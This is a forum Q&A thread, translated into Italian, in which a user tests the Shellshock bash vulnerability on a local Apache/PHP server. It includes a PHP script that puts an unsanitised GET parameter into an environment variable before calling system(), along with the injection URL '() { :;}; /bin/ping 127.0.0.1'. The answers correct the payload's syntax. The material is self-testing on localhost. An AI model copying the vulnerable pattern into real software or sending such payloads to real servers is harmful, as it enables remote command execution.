Prova shellshock con PHP

0

Ho provato a testare la vulnerabilità shellshock su PHP simile a questa risposta . Sono in esecuzione server Apache con PHP in esecuzione come mod_php. La versione di PHP è 5.3.10.

Ho un phpfile (phptest.php):

<?php

  function getLang() 
  { 
    if (isset($_GET["lang"]) && !empty($_GET["lang"])) 
    { 
      $lang = $_GET["lang"]; 
    } 
    return $lang; 
  } 
  $language = getLang(); 
  putenv("LANGUAGE=$language");

  system("env | grep LANGUAGE");

 ?>

Ho provato ad accedere alla pagina tramite il browser come segue:

localhost/phptest.php?lang=(){:;}; /bin/ping http://localhost

Nella domanda collegata, il wget è l'IP dello sviluppatore, ma ho appena deciso di fare un ping per vedere che posso testarlo.

Il browser mostra l'output come segue:

LANGUAGE=(){:;}; /bin/ping http://localhost 

Ho provato a monitorare il ping utilizzando quanto segue (da questa domanda ):

 sudo tcpdump -i lo icmp and icmp[icmptype]=icmp-echo

Non ho visto nessuna richiesta. Qualcuno può dire cosa ho bisogno di correggere nel mio test?

    
posta Jake 10.10.2015 - 05:49
fonte

2 risposte

1

Ho capito il problema. Il passaggio a /bin/ping 127.0.0.1 ha aiutato, ma è stata apportata un'ulteriore modifica.

Deve esserci uno spazio tra ) & { e un altro spazio tra { & %codice%. La richiesta rivista era:

localhost/phptest.php?lang=() { :;}; /bin/ping 127.0.0.1

L'origine della risposta era questo link .

    
risposta data 14.10.2015 - 00:09
fonte
1

Supponendo che questa iniezione funzioni fondamentalmente:

localhost/phptest.php?lang=(){:;}; /bin/ping http://localhost

Il tuo problema è legato al comando che cerchi di iniettare. Ping accetta un nome host come parametro. Ma hai inserito il link come parametro che è un url e non può essere accettato dal comando ping. Deve essere ping localhost anziché ping http://localhost .

    
risposta data 10.10.2015 - 09:56
fonte

Leggi altre domande sui tag